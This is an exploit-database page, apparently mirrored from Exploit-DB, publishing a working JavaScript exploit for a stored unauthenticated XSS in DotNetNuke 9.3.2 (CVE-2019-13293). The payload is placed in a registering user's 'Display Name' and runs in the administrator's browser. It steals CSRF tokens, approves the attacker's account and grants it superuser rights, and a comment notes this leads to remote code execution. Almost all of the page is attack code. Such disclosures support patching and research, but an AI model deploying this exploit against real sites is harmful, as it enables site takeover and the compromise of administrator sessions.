Lucene search
K

DotNetNuke 9.3.2 - Cross-Site Scripting

🗓️ 01 Oct 2019 00:00:00Reported by Semen Alexandrovich LyhinType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 55 Views

Display Name" Stored Unauthenticated XSS in DotNetNuke v9.3.2 allows remote code execution

Code
/*
Exploit Title: "Display Name" Stored Unauthenticated XSS in DNN v9.3.2
Date: 4th of July, 2019
Exploit Author: Semen Alexandrovich Lyhin
Vendor Homepage: https://www.dnnsoftware.com/
Software Link: https://github.com/dnnsoftware/Dnn.Platform/releases
Version: v9.3.2
CVE : CVE-2019-13293

A malicious unauthenticated person can attempt to register a user with the XSS payload in "Display Name" parameter. 
The administrator of the website will see a notification that a new user needs to be approved.
An administrator should click on this notification, and the JavaScript code will be executed in the administrator's browser.

This exploit adds the user, and grants him administrator priviliges. 

A native module "module creator" also allows remote code execution. 

*/



function ApproveNotification(baseurl, id) {
	return new Promise(function (resolve, reject) {	
		var url = baseurl + "/Activity-Feed/Messages/";
		var xhr = new XMLHttpRequest();
		xhr.onreadystatechange = function () {
			if (xhr.readyState == 4) {
				var data;
				if (!xhr.responseType === "text") {
					data = xhr.responseText;
				} else if (xhr.responseType === "document") {
					data = xhr.responseXML;
				} else {
					data = xhr.response;
				}

				var parser = new DOMParser();
				var resp = parser.parseFromString(data, "text/html");
				token = resp.getElementsByName('__RequestVerificationToken')[0].value; //grab first available token
				
				var post_params = "NotificationId=" + id;
				var x1 = new XMLHttpRequest();
				
				x1.open("POST", baseurl + "/API/InternalServices/NewUserNotificationService/Authorize");
				x1.setRequestHeader("Content-Type", "application/x-www-form-urlencoded; charset=utf-8");
				x1.setRequestHeader('RequestVerificationToken', token);
				x1.send(post_params);
				resolve();
			}
		}
		xhr.open('GET', url, true);
		xhr.send(null);
	});
}

function MakeSuperAdmin(baseurl, id) {
	return new Promise(function (resolve, reject) {	
		var url = baseurl + "/Activity-Feed/Messages/";
		var xhr = new XMLHttpRequest();
		xhr.onreadystatechange = function () {
			if (xhr.readyState == 4) {
				var data;
				if (!xhr.responseType === "text") {
					data = xhr.responseText;
				} else if (xhr.responseType === "document") {
					data = xhr.responseXML;
				} else {
					data = xhr.response;
				}

				var parser = new DOMParser();
				var resp = parser.parseFromString(data, "text/html");
				token = resp.getElementsByName('__RequestVerificationToken')[0].value; //grab first available token
				
				var post_params = "null"
				var x1 = new XMLHttpRequest();
				
				x1.open("POST", baseurl + "/API/PersonaBar/Users/UpdateSuperUserStatus?userId=" + id + "&setSuperUser=true");
				x1.setRequestHeader("Content-Type", "application/x-www-form-urlencoded; charset=utf-8");
				x1.setRequestHeader('RequestVerificationToken', token);
				x1.send(post_params);
				resolve();
			}
		}
		xhr.open('GET', url, true);
		xhr.send(null);
	});
}

function GetNotification(baseurl, username, moduleid, tabid) {
	return new Promise(function (resolve, reject) {	
		var url = baseurl +"/dotnetnuke/Activity-Feed/Messages/"
		var xhr = new XMLHttpRequest();
		xhr.onreadystatechange = function () {
			if (xhr.readyState == 4) {
				var data;
				if (!xhr.responseType === "text") {
					data = xhr.responseText;
				} else if (xhr.responseType === "document") {
					data = xhr.responseXML;
				} else {
					data = xhr.response;
				}

				var parser = new DOMParser();
				var resp = parser.parseFromString(data, "text/html");
				token = resp.getElementsByName('__RequestVerificationToken')[0].value; //grab first available token
				
				var x1 = new XMLHttpRequest();
				
				x1.open("GET", baseurl + "/API/CoreMessaging/MessagingService/Notifications?afterNotificationId=-1&numberOfRecords=1000&_=1562677665517", true);
				x1.setRequestHeader('ModuleId', moduleid);
				x1.setRequestHeader('TabId', tabid);
				x1.onreadystatechange = () => {
					
					if (x1.readyState == 4) {
						if (!x1.responseType === "text") {
							data = x1.responseText;
						} else if (x1.responseType === "document") {
							data = x1.responseXML;
						} else {
							data = x1.response;
						}
						
						//console.log(JSON.parse(data));
						data = JSON.parse(data);
						
						for (var key in data['Notifications']){
							if (data['Notifications'][key]['Body'].includes(username)) {
								resolve((data['Notifications'][key]['NotificationId']));
							};
						}
						reject();
					}
				}
				x1.send(null);
			}
		}
		xhr.open('GET', url, true);
		xhr.send(null);
	});
}

function GetUserId(baseurl, username, tabid) {
	return new Promise(function (resolve, reject) {	
		var url = baseurl +"/dotnetnuke/Activity-Feed/Messages/"
		var xhr = new XMLHttpRequest();
		xhr.onreadystatechange = function () {
			if (xhr.readyState == 4) {
				var data;
				if (!xhr.responseType === "text") {
					data = xhr.responseText;
				} else if (xhr.responseType === "document") {
					data = xhr.responseXML;
				} else {
					data = xhr.response;
				}

				var parser = new DOMParser();
				var resp = parser.parseFromString(data, "text/html");
				token = resp.getElementsByName('__RequestVerificationToken')[0].value; //grab first available token
				
				var x1 = new XMLHttpRequest();
				
				x1.open("GET", baseurl + "/API/PersonaBar/Users/GetUsers?searchText=" + username + "&filter=0&pageIndex=0&pageSize=10&sortColumn=&sortAscending=false", true);
				x1.setRequestHeader('TabId', tabid);
				x1.onreadystatechange = () => {
					if (x1.readyState == 4) {
						if (!x1.responseType === "text") {
							data = x1.responseText;
						} else if (x1.responseType === "document") {
							data = x1.responseXML;
						} else {
							data = x1.response;
						}
						
						//console.log(data);
						data = JSON.parse(data);
					    resolve((data['Results'][0]['userId']));
						
						reject();
					}
				}
				x1.send(null);
			}
		}
		xhr.open('GET', url, true);
		xhr.send(null);
	});
}


async function main(){
	var username = "nobody34567";
	var baseurl = "http://192.168.18.10/dotnetnuke/";
	var moduleid = "374"; 
	var tabid = "27"; //It's default ID of the module and tab, that should be used to get notification id. We can also parse it from the webpage. 
    var NotificationId = await GetNotification(baseurl, username, moduleid, tabid);
	await ApproveNotification(baseurl, NotificationId);
	var UserID = await GetUserId(baseurl, username, tabid);
	MakeSuperAdmin(baseurl, UserID);
}

main();

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation